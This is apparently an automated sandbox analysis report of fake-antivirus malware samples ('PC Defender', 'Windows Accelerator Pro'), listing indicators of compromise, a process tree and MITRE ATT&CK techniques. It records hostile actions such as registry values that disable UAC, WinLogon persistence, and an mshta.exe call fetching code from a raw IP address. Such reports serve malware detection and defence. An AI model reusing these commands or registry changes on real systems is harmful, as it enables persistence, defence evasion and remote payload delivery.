
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4972	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4972	msiexec.exe
Token: SeSecurityPrivilege	4452	msiexec.exe
Token: SeCreateTokenPrivilege	4972	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4972	msiexec.exe
Token: SeLockMemoryPrivilege	4972	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4972	msiexec.exe
Token: SeMachineAccountPrivilege	4972	msiexec.exe
Token: SeTcbPrivilege	4972	msiexec.exe
Token: SeSecurityPrivilege	4972	msiexec.exe
Token: SeTakeOwnershipPrivilege	4972	msiexec.exe
Token: SeLoadDriverPrivilege	4972	msiexec.exe
Token: SeSystemProfilePrivilege	4972	msiexec.exe
Token: SeSystemtimePrivilege	4972	msiexec.exe
Token: SeProfSingleProcessPrivilege	4972	msiexec.exe
Token: SeIncBasePriorityPrivilege	4972	msiexec.exe
Token: SeCreatePagefilePrivilege	4972	msiexec.exe
Token: SeCreatePermanentPrivilege	4972	msiexec.exe
Token: SeBackupPrivilege	4972	msiexec.exe
Token: SeRestorePrivilege	4972	msiexec.exe
Token: SeShutdownPrivilege	4972	msiexec.exe
Token: SeDebugPrivilege	4972	msiexec.exe
Token: SeAuditPrivilege	4972	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4972	msiexec.exe
Token: SeChangeNotifyPrivilege	4972	msiexec.exe
Token: SeRemoteShutdownPrivilege	4972	msiexec.exe
Token: SeUndockPrivilege	4972	msiexec.exe
Token: SeSyncAgentPrivilege	4972	msiexec.exe
Token: SeEnableDelegationPrivilege	4972	msiexec.exe
Token: SeManageVolumePrivilege	4972	msiexec.exe
Token: SeImpersonatePrivilege	4972	msiexec.exe
Token: SeCreateGlobalPrivilege	4972	msiexec.exe
Token: SeBackupPrivilege	1648	vssvc.exe
Token: SeRestorePrivilege	1648	vssvc.exe
Token: SeAuditPrivilege	1648	vssvc.exe
Token: SeBackupPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe
Token: SeTakeOwnershipPrivilege	4452	msiexec.exe
Token: SeRestorePrivilege	4452	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
4972	msiexec.exe
4972	msiexec.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3624	guard-wojl.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
912	[email protected]
5720	[email protected]
3624	guard-wojl.exe
3624	guard-wojl.exe
5932	LogonUI.exe
5740	OfficeClickToRun.exe
5480	OfficeClickToRun.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 3252	3552	msedge.exe	81
PID 3552 wrote to memory of 3252	3552	msedge.exe	81
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 3048	3552	msedge.exe	82
PID 3552 wrote to memory of 2120	3552	msedge.exe	83
PID 3552 wrote to memory of 2120	3552	msedge.exe	83
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84
PID 3552 wrote to memory of 4024	3552	msedge.exe	84

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-wojl.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-wojl.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-wojl.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	guard-wojl.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Endermanch/MalwareDatabase
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe565b3cb8,0x7ffe565b3cc8,0x7ffe565b3cd8
  2⤵
  PID:3252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1652 /prefetch:2
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2632 /prefetch:8
  2⤵
  PID:4024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:2728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
  2⤵
  PID:2908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2264
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5600 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3976 /prefetch:8
  2⤵
  PID:3512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
  2⤵
  PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4848 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:1284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5948 /prefetch:1
  2⤵
  PID:916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3384 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:1
  2⤵
  PID:4260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6400 /prefetch:1
  2⤵
  PID:3316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
  2⤵
  PID:1544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6616 /prefetch:1
  2⤵
  PID:556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3972 /prefetch:1
  2⤵
  PID:6112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1716,7906347618641020897,9420967643751490755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3048 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:6136

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2528

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1444

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:904

C:\Users\Admin\AppData\Local\Temp\Temp1_PC Defender (1).zip\[email protected]
"C:\Users\Admin\AppData\Local\Temp\Temp1_PC Defender (1).zip\[email protected]"
1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:912
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\PCDefenderSilentSetup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4972

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1284
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C5A20BDBB329C16FCB4FD33F41577BAE E Global\MSI0000
  2⤵
  - Modifies WinLogon for persistence
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:792

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:1532

C:\Users\Admin\AppData\Local\Temp\Temp1_Windows Accelerator Pro.zip\[email protected]
"C:\Users\Admin\AppData\Local\Temp\Temp1_Windows Accelerator Pro.zip\[email protected]"
1⤵
- System Location Discovery: System Language Discovery
- NTFS ADS
- Suspicious use of SetWindowsHookEx
PID:5720
- C:\Users\Admin\AppData\Roaming\guard-wojl.exe
  C:\Users\Admin\AppData\Roaming\guard-wojl.exe
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - System policy modification
  PID:3624
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=9200&5=1&6=1111&7=texyhekisb"
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    PID:5648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\TEMP1_~2.ZIP\ENDERM~1.EXE" >> NUL
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3292

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39c5055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5932

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5740

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery